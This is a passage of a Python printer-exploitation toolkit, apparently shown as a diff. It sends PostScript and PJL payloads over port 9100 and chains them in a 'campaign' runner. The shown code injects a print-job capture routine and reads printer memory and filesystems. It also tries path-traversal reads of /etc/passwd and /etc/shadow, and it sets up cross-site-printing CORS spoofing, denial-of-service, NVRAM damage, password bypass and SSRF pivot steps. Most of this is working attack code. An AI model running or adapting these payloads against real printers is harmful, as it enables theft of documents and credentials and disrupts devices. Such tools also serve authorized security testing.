b' linenum max eq {\n'
|
|
527
|
+
b' counter (slot) linenum 1 add put\n'
|
|
528
|
+
b' counter (line) 0 put\n'
|
|
529
|
+
b' } if\n'
|
|
530
|
+
b' } def\n'
|
|
531
|
+
b' { newjob {(%!\\ncurrentfile /ASCII85Decode filter ) capture\n'
|
|
532
|
+
b' pop /newjob false def} if (%lineedit) (r) file\n'
|
|
533
|
+
b' dup bytesavailable string readstring pop capture pop\n'
|
|
534
|
+
b' } loop\n'
|
|
535
|
+
b'} def\n'
|
|
536
|
+
)
|
|
537
|
+
|
|
538
|
+
if not dry:
|
|
539
|
+
resp = _send_raw(host, port, UEL + capture_ps + UEL, timeout)
|
|
540
|
+
else:
|
|
541
|
+
resp = _send_raw(host, port, UEL + b'%!\nproduct == flush\n' + UEL, timeout)
|
|
542
|
+
|
|
543
|
+
return AttackResult(
|
|
544
|
+
category='PrintJobManipulation',
|
|
545
|
+
attack='ps_job_capture_start',
|
|
546
|
+
supported=len(resp) > 0,
|
|
547
|
+
vulnerable=len(resp) > 0,
|
|
548
|
+
exploited=not dry,
|
|
549
|
+
evidence=f"Capture PS {'injected' if not dry else 'NOT sent (dry-run)'}",
|
|
550
|
+
severity='critical',
|
|
551
|
+
note='Advisory 1/6 Müller 2017: all PS printers since 1985 affected',
|
|
552
|
+
)
|
|
553
|
+
|
|
554
|
+
|
|
555
|
+
def job_capture_list(host: str, port: int = 9100, timeout: float = 8) -> AttackResult:
|
|
556
|
+
"""
|
|
557
|
+
List print jobs captured by job_capture_start().
|
|
558
|
+
|
|
559
|
+
Returns list of captured job names stored in capturedict.
|
|
560
|
+
"""
|
|
561
|
+
list_ps = (
|
|
562
|
+
b'%!\n'
|
|
563
|
+
b'(HTTP/1.0 200 OK\\n) print\n'
|
|
564
|
+
b'(Access-Control-Allow-Origin: *\\n) print\n'
|
|
565
|
+
b'(Content-Type: text/plain\\n\\n) print\n'
|
|
566
|
+
b'(capturedict) where {\n'
|
|
567
|
+
b' (Captured jobs:\\n) print\n'
|
|
568
|
+
b' capturedict { exch == } forall\n'
|
|
569
|
+
b'} { (No jobs captured) print } ifelse\n'
|
|
570
|
+
b'flush\n'
|
|
571
|
+
)
|
|
572
|
+
resp = _send_raw(host, port, UEL + list_ps + UEL, timeout)
|
|
573
|
+
text = resp.decode('latin-1', errors='replace')
|
|
574
|
+
|
|
575
|
+
jobs = []
|
|
576
|
+
if 'capturedict' in text.lower() or 'job_' in text:
|
|
577
|
+
import re as _re
|
|
578
|
+
jobs = _re.findall(r'job_\w+', text)
|
|
579
|
+
|
|
580
|
+
return AttackResult(
|
|
581
|
+
category='PrintJobManipulation',
|
|
582
|
+
attack='ps_job_capture_list',
|
|
583
|
+
supported=len(resp) > 0,
|
|
584
|
+
vulnerable=bool(jobs),
|
|
585
|
+
exploited=bool(jobs),
|
|
586
|
+
evidence=f"Captured jobs: {jobs or 'none'}",
|
|
587
|
+
severity='critical' if jobs else 'info',
|
|
588
|
+
)
|
|
589
|
+
|
|
590
|
+
|
|
591
|
+
# ── 4. INFORMATION DISCLOSURE ────────────────────────────────────────────────
|
|
592
|
+
|
|
593
|
+
import re as _re
|
|
594
|
+
|
|
595
|
+
|
|
596
|
+
def info_pjl_memory_access(host: str, port: int = 9100,
|
|
597
|
+
timeout: float = 8) -> AttackResult:
|
|
598
|
+
"""
|
|
599
|
+
Read printer memory via PJL DMINFO.
|
|
600
|
+
|
|
601
|
+
PJL DMINFO provides access to device-specific memory regions including
|
|
602
|
+
NVRAM contents, configuration, stored credentials, and job data.
|
|
603
|
+
"""
|
|
604
|
+
queries = [
|
|
605
|
+
b'@PJL DMINFO ASCIIHEX\r\n',
|
|
606
|
+
b'@PJL INFO MEMORY\r\n',
|
|
607
|
+
b'@PJL INFO STATUS\r\n',
|
|
608
|
+
b'@PJL RDYMSG\r\n',
|
|
609
|
+
]
|
|
610
|
+
all_resp = b''
|
|
611
|
+
for q in queries:
|
|
612
|
+
resp = _send_raw(host, port, UEL + b'@PJL\r\n' + q + UEL, timeout, wait=0.5)
|
|
613
|
+
all_resp += resp
|
|
614
|
+
|
|
615
|
+
text = all_resp.decode('latin-1', errors='replace')
|
|
616
|
+
has_mem = 'MEMORY' in text.upper() or 'TOTAL' in text.upper()
|
|
617
|
+
|
|
618
|
+
return AttackResult(
|
|
619
|
+
category='InfoDisclosure',
|
|
620
|
+
attack='pjl_memory_access',
|
|
621
|
+
supported=len(all_resp) > 0,
|
|
622
|
+
vulnerable=has_mem,
|
|
623
|
+
exploited=has_mem,
|
|
624
|
+
evidence=_re.sub(r'[^\x20-\x7e]', ' ', text)[:200],
|
|
625
|
+
severity='medium',
|
|
626
|
+
note='PJL DMINFO + INFO MEMORY — may expose configuration and credentials',
|
|
627
|
+
)
|
|
628
|
+
|
|
629
|
+
|
|
630
|
+
def info_ps_filesystem(host: str, port: int = 9100,
|
|
631
|
+
path: str = '/', timeout: float = 8) -> AttackResult:
|
|
632
|
+
"""
|
|
633
|
+
List PostScript filesystem via filenameforall.
|
|
634
|
+
|
|
635
|
+
Reads directory contents from the printer's internal filesystem.
|
|
636
|
+
Can reveal config files, certificates, stored credentials, print jobs.
|
|
637
|
+
|
|
638
|
+
Common interesting paths:
|
|
639
|
+
/ (root), %disk0%, %rom%, %ram%
|
|
640
|
+
"""
|
|
641
|
+
ls_ps = (
|
|
642
|
+
b'%!\n'
|
|
643
|
+
b'/str 256 string def\n'
|
|
644
|
+
b'(HTTP/1.0 200 OK\\n) print\n'
|
|
645
|
+
b'(Access-Control-Allow-Origin: *\\n) print\n'
|
|
646
|
+
b'(Content-Type: text/plain\\n\\n) print\n'
|
|
647
|
+
+ f'({path}*) '.encode()
|
|
648
|
+
+ b'{{ == }} str filenameforall\n'
|
|
649
|
+
b'flush\n'
|
|
650
|
+
)
|
|
651
|
+
resp = _send_raw(host, port, UEL + ls_ps + UEL, timeout)
|
|
652
|
+
text = resp.decode('latin-1', errors='replace')
|
|
653
|
+
|
|
654
|
+
files = _re.findall(r'[^\x00-\x1f\x7f-\xff]{3,80}', text)
|
|
655
|
+
files = [f for f in files if '/' in f or '.' in f]
|
|
656
|
+
|
|
657
|
+
return AttackResult(
|
|
658
|
+
category='InfoDisclosure',
|
|
659
|
+
attack='ps_filesystem_list',
|
|
660
|
+
supported=len(resp) > 0,
|
|
661
|
+
vulnerable=bool(files),
|
|
662
|
+
exploited=bool(files),
|
|
663
|
+
evidence=f"Files found: {files[:10]}",
|
|
664
|
+
severity='high' if files else 'info',
|
|
665
|
+
note='filenameforall lists all printer filesystem entries',
|
|
666
|
+
)
|
|
667
|
+
|
|
668
|
+
|
|
669
|
+
def info_ps_credential_disclosure(host: str, port: int = 9100,
|
|
670
|
+
timeout: float = 10) -> AttackResult:
|
|
671
|
+
"""
|
|
672
|
+
Attempt to read credential-containing files via PostScript.
|
|
673
|
+
|
|
674
|
+
Tries to read: /etc/passwd, /.profile, /init, config files, web auth files.
|
|
675
|
+
Uses (filename)(r) file to open and read file contents.
|
|
676
|
+
"""
|
|
677
|
+
target_files = [
|
|
678
|
+
'%disk0%/../../../etc/passwd',
|
|
679
|
+
'%disk0%/../../../etc/shadow',
|
|
680
|
+
'%disk0%/../../../.profile',
|
|
681
|
+
'%disk0%/../../../init',
|
|
682
|
+
'%disk0%/../../../tmp',
|
|
683
|
+
'%rom%/dev/null',
|
|
684
|
+
]
|
|
685
|
+
|
|
686
|
+
all_creds = []
|
|
687
|
+
for fpath in target_files:
|
|
688
|
+
read_ps = (
|
|
689
|
+
b'%!\n'
|
|
690
|
+
b'/str 65535 string def\n'
|
|
691
|
+
b'(' + fpath.encode() + b') (r) file\n'
|
|
692
|
+
b'dup str readstring pop\n'
|
|
693
|
+
b'(FILE_CONTENT:\\n) print\n'
|
|
694
|
+
b'str cvs print flush\n'
|
|
695
|
+
)
|
|
696
|
+
resp = _send_raw(host, port, UEL + read_ps + UEL, timeout, wait=1)
|
|
697
|
+
text = resp.decode('latin-1', errors='replace')
|
|
698
|
+
if 'FILE_CONTENT' in text or 'root:' in text:
|
|
699
|
+
all_creds.append(fpath)
|
|
700
|
+
|
|
701
|
+
# Also try PJL filesystem download
|
|
702
|
+
for pjl_path in ['0:/../../../etc/passwd', '0:/.profile']:
|
|
703
|
+
pjl_cmd = (UEL + b'@PJL\r\n'
|
|
704
|
+
+ f'@PJL FSDOWNLOAD FORMAT:BINARY SIZE=65535 NAME="{pjl_path}"\r\n'.encode()
|
|
705
|
+
+ UEL)
|
|
706
|
+
resp = _send_raw(host, port, pjl_cmd, timeout)
|
|
707
|
+
text = resp.decode('latin-1', errors='replace')
|
|
708
|
+
if 'root:' in text or 'password' in text.lower():
|
|
709
|
+
all_creds.append(f"PJL:{pjl_path}")
|
|
710
|
+
|
|
711
|
+
return AttackResult(
|
|
712
|
+
category='InfoDisclosure',
|
|
713
|
+
attack='credential_disclosure',
|
|
714
|
+
supported=True,
|
|
715
|
+
vulnerable=bool(all_creds),
|
|
716
|
+
exploited=bool(all_creds),
|
|
717
|
+
evidence=f"Readable credential files: {all_creds}",
|
|
718
|
+
severity='critical' if all_creds else 'info',
|
|
719
|
+
note='Path traversal via PS filenameforall or PJL FSDOWNLOAD',
|
|
720
|
+
)
|
|
721
|
+
|
|
722
|
+
|
|
723
|
+
def info_cors_spoofing_probe(host: str, port: int = 9100,
|
|
724
|
+
timeout: float = 8) -> AttackResult:
|
|
725
|
+
"""
|
|
726
|
+
Test CORS spoofing capability — can the printer act as an HTTP server?
|
|
727
|
+
|
|
728
|
+
Sends a PostScript job that outputs HTTP headers including
|
|
729
|
+
Access-Control-Allow-Origin: * — making the printer act as a web server
|
|
730
|
+
that JavaScript (from evil.com) can read.
|
|
731
|
+
|
|
732
|
+
This is the basis for web attacker (cross-site printing) attacks.
|
|
733
|
+
"""
|
|
734
|
+
cors_ps = (
|
|
735
|
+
b'%!\n'
|
|
736
|
+
b'(HTTP/1.0 200 OK\\n) print\n'
|
|
737
|
+
b'(Server: PrinterXPL-Forge-Test\\n) print\n'
|
|
738
|
+
b'(Access-Control-Allow-Origin: *\\n) print\n'
|
|
739
|
+
b'(Content-Type: text/plain\\n\\n) print\n'
|
|
740
|
+
b'product print\n'
|
|
741
|
+
b'(|) print\n'
|
|
742
|
+
b'version print\n'
|
|
743
|
+
b'(|) print\n'
|
|
744
|
+
b'revision 8 string cvs print\n'
|
|
745
|
+
b'(\\n) print flush\n'
|
|
746
|
+
)
|
|
747
|
+
resp = _send_raw(host, port, UEL + cors_ps + UEL, timeout)
|
|
748
|
+
text = resp.decode('latin-1', errors='replace')
|
|
749
|
+
|
|
750
|
+
has_cors = 'Access-Control-Allow-Origin' in text
|
|
751
|
+
has_product = bool(_re.search(r'[A-Za-z]{3,}', text))
|
|
752
|
+
|
|
753
|
+
return AttackResult(
|
|
754
|
+
category='InfoDisclosure',
|
|
755
|
+
attack='ps_cors_spoofing',
|
|
756
|
+
supported=len(resp) > 0,
|
|
757
|
+
vulnerable=has_cors or has_product,
|
|
758
|
+
exploited=has_cors,
|
|
759
|
+
evidence=f"CORS in response: {has_cors} | Product: {text[:80]}",
|
|
760
|
+
severity='high' if has_cors else 'medium',
|
|
761
|
+
note='Enables web attacker (XSP) to bypass same-origin policy via port 9100',
|
|
762
|
+
)
|
|
763
|
+
|
|
764
|
+
|
|
765
|
+
# ── Full campaign orchestrator ─────────────────────────────────────────────────
|
|
766
|
+
|
|
767
|
+
def run_campaign(
|
|
768
|
+
host: str,
|
|
769
|
+
make: str = '',
|
|
770
|
+
model: str = '',
|
|
771
|
+
firmware: str = '',
|
|
772
|
+
printer_langs: List[str] = None,
|
|
773
|
+
open_ports: List[int] = None,
|
|
774
|
+
dry_run: bool = True,
|
|
775
|
+
timeout: float = 8,
|
|
776
|
+
run_netmap: bool = False,
|
|
777
|
+
verbose: bool = True,
|
|
778
|
+
) -> CampaignReport:
|
|
779
|
+
"""
|
|
780
|
+
Execute the full printer attack campaign.
|
|
781
|
+
|
|
782
|
+
Runs all attack categories from the matrix, respecting dry_run safety.
|
|
783
|
+
With dry_run=True (default), no destructive actions are taken —
|
|
784
|
+
only capabilities are probed and vulnerabilities reported.
|
|
785
|
+
|
|
786
|
+
Args:
|
|
787
|
+
dry_run: Safe mode — probe capabilities without exploiting.
|
|
788
|
+
run_netmap: Also run full network mapping (slow — scans /24).
|
|
789
|
+
"""
|
|
790
|
+
langs = [l.upper() for l in (printer_langs or [])]
|
|
791
|
+
ports = set(open_ports or [])
|
|
792
|
+
report = CampaignReport(
|
|
793
|
+
host=host, make=make, model=model,
|
|
794
|
+
firmware=firmware, printer_langs=langs,
|
|
795
|
+
open_ports=list(ports),
|
|
796
|
+
)
|
|
797
|
+
|
|
798
|
+
def _run(fn, *args, **kwargs) -> AttackResult:
|
|
799
|
+
try:
|
|
800
|
+
return fn(*args, **kwargs)
|
|
801
|
+
except Exception as exc:
|
|
802
|
+
return AttackResult(
|
|
803
|
+
category='error', attack=fn.__name__,
|
|
804
|
+
evidence=str(exc)[:60], severity='info',
|
|
805
|
+
)
|
|
806
|
+
|
|
807
|
+
from utils.ports import PortConfig as _PC
|
|
808
|
+
_raw_port = _PC.resolve('raw')
|
|
809
|
+
_ipp_port = _PC.resolve('ipp')
|
|
810
|
+
pjl_port = _raw_port if _raw_port in ports else None
|
|
811
|
+
ps_avail = _raw_port in ports # PS goes over RAW port too
|
|
812
|
+
|
|
813
|
+
if verbose:
|
|
814
|
+
print(f"\n{'='*65}")
|
|
815
|
+
print(f" ATTACK CAMPAIGN — {make} {model} @ {host}")
|
|
816
|
+
print(f" Mode: {'DRY-RUN (no destructive actions)' if dry_run else 'LIVE EXPLOIT'}")
|
|
817
|
+
print(f"{'='*65}\n")
|
|
818
|
+
|
|
819
|
+
# ── DoS ──────────────────────────────────────────────────────────────────
|
|
820
|
+
if verbose:
|
|
821
|
+
print(f" {CYN}[1/5] DENIAL OF SERVICE{RESET}")
|
|
822
|
+
|
|
823
|
+
if ps_avail or 'PS' in langs or 'POSTSCRIPT' in langs:
|
|
824
|
+
r = _run(dos_ps_infinite_loop, host, _raw_port, dry_run, timeout)
|
|
825
|
+
report.results.append(r)
|
|
826
|
+
_print_result(r, verbose)
|
|
827
|
+
|
|
828
|
+
r = _run(dos_ps_showpage_redef, host, _raw_port, dry_run, timeout)
|
|
829
|
+
report.results.append(r)
|
|
830
|
+
_print_result(r, verbose)
|
|
831
|
+
|
|
832
|
+
if pjl_port or 'PJL' in langs:
|
|
833
|
+
r = _run(dos_pjl_offline, host, _raw_port, dry_run, timeout)
|
|
834
|
+
report.results.append(r)
|
|
835
|
+
_print_result(r, verbose)
|
|
836
|
+
|
|
837
|
+
r = _run(dos_pjl_nvram_damage, host, _raw_port, dry_run, 50, timeout)
|
|
838
|
+
report.results.append(r)
|
|
839
|
+
_print_result(r, verbose)
|
|
840
|
+
|
|
841
|
+
# Always test CVE-2024-51982 (Brother/Ricoh)
|
|
842
|
+
r = _run(dos_cve_2024_51982, host, _raw_port, timeout)
|
|
843
|
+
report.results.append(r)
|
|
844
|
+
_print_result(r, verbose)
|
|
845
|
+
|
|
846
|
+
# IPP purge
|
|
847
|
+
if _ipp_port in ports:
|
|
848
|
+
from protocols.ipp_attacks import purge_all_jobs, discover_endpoints
|
|
849
|
+
eps = discover_endpoints(host, timeout)
|
|
850
|
+
if eps:
|
|
851
|
+
ep = eps[0]
|
|
852
|
+
purge = purge_all_jobs(host, ep['port'], ep['path'], ep['scheme'], timeout)
|
|
853
|
+
report.results.append(AttackResult(
|
|
854
|
+
category='DoS', attack='ipp_purge_jobs',
|
|
855
|
+
supported=True, vulnerable=purge['success'],
|
|
856
|
+
exploited=not dry_run and purge['success'],
|
|
857
|
+
evidence=purge['message'],
|
|
858
|
+
severity='medium' if purge['success'] else 'info',
|
|
859
|
+
))
|
|
860
|
+
_print_result(report.results[-1], verbose)
|
|
861
|
+
|
|
862
|
+
# ── Protection Bypass ─────────────────────────────────────────────────────
|
|
863
|
+
if verbose:
|
|
864
|
+
print(f"\n {CYN}[2/5] PROTECTION BYPASS{RESET}")
|
|
865
|
+
|
|
866
|
+
r = _run(bypass_pjl_password, host, _raw_port, timeout)
|
|
867
|
+
report.results.append(r)
|
|
868
|
+
_print_result(r, verbose)
|
|
869
|
+
|
|
870
|
+
r = _run(bypass_pml_factory_reset, host, _raw_port, dry_run, timeout)
|
|
871
|
+
report.results.append(r)
|
|
872
|
+
_print_result(r, verbose)
|
|
873
|
+
|
|
874
|
+
r = _run(bypass_ps_exitserver, host, _raw_port, timeout)
|
|
875
|
+
report.results.append(r)
|
|
876
|
+
_print_result(r, verbose)
|
|
877
|
+
|
|
878
|
+
r = _run(bypass_snmp_reset, host, timeout)
|
|
879
|
+
report.results.append(r)
|
|
880
|
+
_print_result(r, verbose)
|
|
881
|
+
|
|
882
|
+
# ── Print Job Manipulation ────────────────────────────────────────────────
|
|
883
|
+
if verbose:
|
|
884
|
+
print(f"\n {CYN}[3/5] PRINT JOB MANIPULATION{RESET}")
|
|
885
|
+
|
|
886
|
+
r = _run(job_overlay, host, _raw_port, '', dry_run, timeout)
|
|
887
|
+
report.results.append(r)
|
|
888
|
+
_print_result(r, verbose)
|
|
889
|
+
|
|
890
|
+
r = _run(job_capture_start, host, _raw_port, dry_run, timeout)
|
|
891
|
+
report.results.append(r)
|
|
892
|
+
_print_result(r, verbose)
|
|
893
|
+
|
|
894
|
+
r = _run(job_capture_list, host, _raw_port, timeout)
|
|
895
|
+
report.results.append(r)
|
|
896
|
+
_print_result(r, verbose)
|
|
897
|
+
|
|
898
|
+
# ── Information Disclosure ────────────────────────────────────────────────
|
|
899
|
+
if verbose:
|
|
900
|
+
print(f"\n {CYN}[4/5] INFORMATION DISCLOSURE{RESET}")
|
|
901
|
+
|
|
902
|
+
r = _run(info_pjl_memory_access, host, _raw_port, timeout)
|
|
903
|
+
report.results.append(r)
|
|
904
|
+
_print_result(r, verbose)
|
|
905
|
+
|
|
906
|
+
r = _run(info_ps_filesystem, host, _raw_port, '/', timeout)
|
|
907
|
+
report.results.append(r)
|
|
908
|
+
_print_result(r, verbose)
|
|
909
|
+
|
|
910
|
+
r = _run(info_ps_credential_disclosure, host, _raw_port, timeout)
|
|
911
|
+
report.results.append(r)
|
|
912
|
+
_print_result(r, verbose)
|
|
913
|
+
|
|
914
|
+
r = _run(info_cors_spoofing_probe, host, _raw_port, timeout)
|
|
915
|
+
report.results.append(r)
|
|
916
|
+
_print_result(r, verbose)
|
|
917
|
+
|
|
918
|
+
# SNMP MIB + network info
|
|
919
|
+
from protocols.storage import snmp_dump
|
|
920
|
+
mib = snmp_dump(host, verbose=False)
|
|
921
|
+
report.results.append(AttackResult(
|
|
922
|
+
category='InfoDisclosure', attack='snmp_mib_dump',
|
|
923
|
+
supported=bool(mib), vulnerable=bool(mib),
|
|
924
|
+
exploited=bool(mib),
|
|
925
|
+
evidence=f"{len(mib)} OIDs retrieved",
|
|
926
|
+
severity='medium' if mib else 'info',
|
|
927
|
+
))
|
|
928
|
+
_print_result(report.results[-1], verbose)
|
|
929
|
+
|
|
930
|
+
# ── Network Mapping ───────────────────────────────────────────────────────
|
|
931
|
+
if verbose:
|
|
932
|
+
print(f"\n {CYN}[5/5] NETWORK MAPPING{RESET}")
|
|
933
|
+
|
|
934
|
+
if run_netmap:
|
|
935
|
+
from protocols.network_map import build_network_map, print_network_map
|
|
936
|
+
nm = build_network_map(host, timeout=timeout, verbose=verbose)
|
|
937
|
+
report.network_map = nm
|
|
938
|
+
report.results.append(AttackResult(
|
|
939
|
+
category='Network',
|
|
940
|
+
attack='network_map',
|
|
941
|
+
supported=True,
|
|
942
|
+
vulnerable=bool(nm.attack_paths),
|
|
943
|
+
exploited=False,
|
|
944
|
+
evidence=nm.summary(),
|
|
945
|
+
severity='high' if nm.attack_paths else 'info',
|
|
946
|
+
))
|
|
947
|
+
else:
|
|
948
|
+
# Quick pivot check
|
|
949
|
+
from protocols.ssrf_pivot import pivot_audit
|
|
950
|
+
from protocols.ipp_attacks import discover_endpoints
|
|
951
|
+
eps = discover_endpoints(host, timeout)
|
|
952
|
+
if eps:
|
|
953
|
+
ep = eps[0]
|
|
954
|
+
pres = pivot_audit(host, ep['port'], ep['path'], ep['scheme'],
|
|
955
|
+
timeout, verbose=False)
|
|
956
|
+
report.results.append(AttackResult(
|
|
957
|
+
category='Network',
|
|
958
|
+
attack='ssrf_pivot',
|
|
959
|
+
supported=True,
|
|
960
|
+
vulnerable=bool(pres['risk']),
|
|
961
|
+
exploited=bool(pres['internal_hosts']),
|
|
962
|
+
evidence=f"Risks: {pres['risk']} | Hosts: {pres['internal_hosts']}",
|
|
963
|
+
severity='high' if 'IPP_SSRF_CAPABLE' in pres['risk'] else 'medium',
|
|
964
|
+
))
|
|
965
|
+
_print_result(report.results[-1], verbose)
|
|
966
|
+
|
|
967
|
+
return report
|
|
968
|
+
|
|
969
|
+
|
|
970
|
+
def _print_result(r: AttackResult, verbose: bool) -> None:
|
|
971
|
+
if not verbose:
|
|
972
|
+
return
|
|
973
|
+
sev_color = {
|
|
974
|
+
'critical': RED,
|
|
975
|
+
'high': '\033[0;31m',
|
|
976
|
+
'medium': YEL,
|
|
977
|
+
'low': '\033[1;34m',
|
|
978
|
+
'info': DIM,
|
|
979
|
+
}.get(r.severity, '')
|
|
980
|
+
icon = f"{RED}[EXPLOITED]{RESET}" if r.exploited else (
|
|
981
|
+
f"{YEL}[VULN]{RESET}" if r.vulnerable else (
|
|
982
|
+
f"{GRN}[OK]{RESET}" if r.supported else f"{DIM}[N/A]{RESET}"))
|
|
983
|
+
print(f" {icon} {sev_color}{r.category}/{r.attack}{RESET}")
|
|
984
|
+
if r.evidence:
|
|
985
|
+
print(f" {DIM}{r.evidence[:90]}{RESET}")
|
|
986
|
+
|
|
987
|
+
|
|
988
|
+
def print_campaign_report(report: CampaignReport) -> None:
|
|
989
|
+
"""Pretty-print a full CampaignReport."""
|
|
990
|
+
print(f"\n{'='*70}")
|
|
991
|
+
print(f" CAMPAIGN REPORT — {report.host}")
|
|
992
|
+
print(f"{'='*70}")
|
|
993
|
+
print(f" Target : {report.make} {report.model} {report.firmware}")
|
|
994
|
+
print(f" Summary : {report.summary()}")
|
|
995
|
+
|
|
996
|
+
if report.critical_findings:
|
|
997
|
+
print(f"\n {RED}CRITICAL/HIGH FINDINGS ({len(report.critical_findings)}){RESET}")
|
|
998
|
+
print(f" {'-'*65}")
|
|
999
|
+
for r in report.critical_findings:
|
|
1000
|
+
print(f" {RED}[!]{RESET} {r.category}/{r.attack} [{r.severity.upper()}]")
|
|
1001
|
+
print(f" {r.evidence[:80]}")
|
|
1002
|
+
if r.note:
|
|
1003
|
+
print(f" Note: {r.note[:80]}")
|
|
1004
|
+
|
|
1005
|
+
# Category summary
|
|
1006
|
+
cats: Dict[str, List[AttackResult]] = {}
|
|
1007
|
+
for r in report.results:
|
|
1008
|
+
cats.setdefault(r.category, []).append(r)
|
|
1009
|
+
|
|
1010
|
+
print(f"\n RESULTS BY CATEGORY")
|
|
1011
|
+
print(f" {'-'*65}")
|
|
1012
|
+
for cat, results in cats.items():
|
|
1013
|
+
vuln = sum(1 for r in results if r.vulnerable)
|
|
1014
|
+
expl = sum(1 for r in results if r.exploited)
|
|
1015
|
+
print(f" {cat:<28} {len(results)} tests "
|
|
1016
|
+
f"{YEL}{vuln} vuln{RESET} {RED}{expl} exploited{RESET}")
|
|
1017
|
+
|
|
1018
|
+
if report.network_map:
|
|
1019
|
+
nm = report.network_map
|
|
1020
|
+
print(f"\n NETWORK MAP")
|
|
1021
|
+
print(f" Gateway: {nm.gateway} | Hosts: {len(nm.hosts)} | "
|
|
1022
|
+
f"Other printers: {len(nm.other_printers)}")
|
|
1023
|
+
for path in nm.attack_paths[:5]:
|
|
1024
|
+
print(f" {YEL}→{RESET} {path}")
|
|
1025
|
+
print()
|